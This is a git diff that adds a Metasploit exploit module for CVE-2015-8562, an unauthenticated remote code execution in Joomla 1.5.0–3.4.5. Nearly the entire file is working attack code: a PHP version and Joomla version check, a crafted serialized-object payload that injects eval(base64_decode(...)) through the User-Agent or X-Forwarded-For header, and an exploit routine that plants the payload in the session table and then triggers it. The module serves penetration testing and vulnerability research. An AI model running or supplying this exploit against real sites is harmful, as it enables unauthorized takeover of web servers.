commit
06f1949e2c
|
@ -0,0 +1,190 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Joomla HTTP Header Unauthenticated Remote Code Execution',
|
||||
'Description' => %q{
|
||||
Joomla suffers from an unauthenticated remote code execution that affects all versions from 1.5.0 to 3.4.5.
|
||||
By storing user supplied headers in the databases session table it's possible to truncate the input
|
||||
by sending an UTF-8 character. The custom created payload is then executed once the session is read
|
||||
from the databse. You also need to have a PHP version before 5.4.45 (including 5.3.x), 5.5.29 or 5.6.13.
|
||||
In later versions the deserialisation of invalid session data stops on the first error and the
|
||||
exploit will not work. The PHP Patch was included in Ubuntu versions 5.5.9+dfsg-1ubuntu4.13 and
|
||||
5.3.10-1ubuntu3.20 and in Debian in version 5.4.45-0+deb7u1.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Marc-Alexandre Montpas', # discovery
|
||||
'Christian Mehlmauer' # metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2015-8562'],
|
||||
['URL', 'https://blog.sucuri.net/2015/12/joomla-remote-code-execution-the-details.html'],
|
||||
['URL', 'https://blog.sucuri.net/2015/12/remote-command-execution-vulnerability-in-joomla.html'],
|
||||
['URL', 'https://developer.joomla.org/security-centre/630-20151214-core-remote-code-execution-vulnerability.html'],
|
||||
['URL', 'https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=http%3A%2F%2Fdrops.wooyun.org%2Fpapers%2F11330'],
|
||||
['URL', 'https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=http%3A%2F%2Fwww.freebuf.com%2Fvuls%2F89754.html'],
|
||||
['URL', 'https://bugs.php.net/bug.php?id=70219']
|
||||
],
|
||||
'Privileged' => false,
|
||||
'Platform' => 'php',
|
||||
'Arch' => ARCH_PHP,
|
||||
'Targets' => [['Joomla 1.5.0 - 3.4.5', {}]],
|
||||
'DisclosureDate' => 'Dec 14 2015',
|
||||
'DefaultTarget' => 0)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [ true, 'The path to joomla', '/' ]),
|
||||
OptEnum.new('HEADER', [ true, 'The header to use for exploitation', 'USER-AGENT', [ 'USER-AGENT', 'X-FORWARDED-FOR' ]])
|
||||
], self.class)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptBool.new('FORCE', [true, 'Force run even if check reports the service is safe.', false]),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def check
|
||||
res = send_request_cgi({'uri' => target_uri.path })
|
||||
|
||||
unless res
|
||||
vprint_error("Connection timed out")
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
unless res.headers['X-Powered-By']
|
||||
vprint_error("Unable to determine the PHP version.")
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
php_version, rest = res.headers['X-Powered-By'].scan(/PHP\/([\d\.]+)(?:-(.+))?/i).flatten || ''
|
||||
version = Gem::Version.new(php_version)
|
||||
vulnerable = false
|
||||
|
||||
# check for ubuntu and debian specific versions. Was fixed in
|
||||
# * 5.5.9+dfsg-1ubuntu4.13
|
||||
# * 5.3.10-1ubuntu3.20
|
||||
# * 5.4.45-0+deb7u1
|
||||
# Changelogs (search for CVE-2015-6835 or #70219):
|
||||
# http://changelogs.ubuntu.com/changelogs/pool/main/p/php5/php5_5.5.9+dfsg-1ubuntu4.13/changelog
|
||||
# http://changelogs.ubuntu.com/changelogs/pool/main/p/php5/php5_5.3.10-1ubuntu3.20/changelog
|
||||
# http://metadata.ftp-master.debian.org/changelogs/main/p/php5/php5_5.4.45-0+deb7u2_changelog
|
||||
if rest && rest.include?('ubuntu')
|
||||
sub_version = rest.scan(/^\dubuntu([\d\.]+)/i).flatten.first || ''
|
||||
vprint_status("Found Ubuntu PHP version #{res.headers['X-Powered-By']}")
|
||||
|
||||
if version > Gem::Version.new('5.5.9')
|
||||
vulnerable = false
|
||||
elsif version == Gem::Version.new('5.5.9') && Gem::Version.new(sub_version) >= Gem::Version.new('4.13')
|
||||
vulnerable = false
|
||||
elsif version == Gem::Version.new('5.3.10') && Gem::Version.new(sub_version) >= Gem::Version.new('3.20')
|
||||
vulnerable = false
|
||||
else
|
||||
vulnerable = true
|
||||
end
|
||||
elsif rest && rest.include?('+deb')
|
||||
sub_version = rest.scan(/^\d+\+deb([\du]+)/i).flatten.first || ''
|
||||
vprint_status("Found Debian PHP version #{res.headers['X-Powered-By']}")
|
||||
|
||||
if version > Gem::Version.new('5.4.45')
|
||||
vulnerable = false
|
||||
elsif version == Gem::Version.new('5.4.45') && sub_version != '7u1'
|
||||
vulnerable = false
|
||||
else
|
||||
vulnerable = true
|
||||
end
|
||||
else
|
||||
vprint_status("Found PHP version #{res.headers['X-Powered-By']}")
|
||||
vulnerable = true if version <= Gem::Version.new('5.4.44')
|
||||
vulnerable = true if version.between?(Gem::Version.new('5.5.0'), Gem::Version.new('5.5.28'))
|
||||
vulnerable = true if version.between?(Gem::Version.new('5.6.0'), Gem::Version.new('5.6.12'))
|
||||
end
|
||||
|
||||
unless vulnerable
|
||||
vprint_error('This module currently does not work against this PHP version')
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
res = send_request_cgi({'uri' => normalize_uri(target_uri.path, 'administrator', 'manifests', 'files', 'joomla.xml') })
|
||||
if res && res.code == 200 && res.body && res.body.include?('<author>Joomla! Project</author>')
|
||||
joomla_version = res.body.scan(/<version>([\d\.]+)<\/version>/i).flatten.first || ''
|
||||
unless joomla_version.empty?
|
||||
vprint_status("Detected Joomla version #{joomla_version}")
|
||||
return Exploit::CheckCode::Appears if Gem::Version.new(joomla_version) < Gem::Version.new('3.4.6')
|
||||
end
|
||||
end
|
||||
|
||||
res.get_html_meta_elements.each do |element|
|
||||
if element.attributes['name'] &&
|
||||
/^generator$/i === element.attributes['name'] &&
|
||||
element.attributes['content'] &&
|
||||
/joomla/i === element.attributes['content'].value
|
||||
return Exploit::CheckCode::Detected
|
||||
end
|
||||
end
|
||||
|
||||
Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
# gets a random 4 byte UTF-8 character
|
||||
def get_terminator
|
||||
# valid codepoints for 4byte UTF-8 chars: U+010000 - U+10FFFF
|
||||
[rand(0x10000..0x10ffff)].pack('U*')
|
||||
end
|
||||
|
||||
def get_payload(header_name)
|
||||
pre = "#{Rex::Text.rand_text_alpha(5)}}__#{Rex::Text.rand_text_alpha(10)}|"
|
||||
pre_pay = 'O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";'
|
||||
pay = "eval(base64_decode($_SERVER['HTTP_#{header_name}']));JFactory::getConfig();exit;"
|
||||
post_pay = '";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}'
|
||||
t1000 = get_terminator
|
||||
return "#{pre}#{pre_pay}s:#{pay.length}:\"#{pay}#{post_pay}#{t1000}"
|
||||
end
|
||||
|
||||
def print_status(msg='')
|
||||
super("#{peer} - #{msg}")
|
||||
end
|
||||
|
||||
def print_error(msg='')
|
||||
super("#{peer} - #{msg}")
|
||||
end
|
||||
|
||||
def exploit
|
||||
if check == Exploit::CheckCode::Safe && datastore['FORCE'] == false
|
||||
print_error('Target seems safe, so we will not continue.')
|
||||
return
|
||||
end
|
||||
|
||||
print_status("Sending payload ...")
|
||||
header_name = Rex::Text.rand_text_alpha_upper(5)
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => target_uri.path,
|
||||
'headers' => { datastore['HEADER'] => get_payload(header_name) }
|
||||
})
|
||||
fail_with(Failure::Unknown, 'No response') if res.nil?
|
||||
session_cookie = res.get_cookies
|
||||
send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => target_uri.path,
|
||||
'cookie' => session_cookie,
|
||||
'headers' => {
|
||||
header_name => Rex::Text.encode_base64(payload.encoded)
|
||||
}
|
||||
})
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue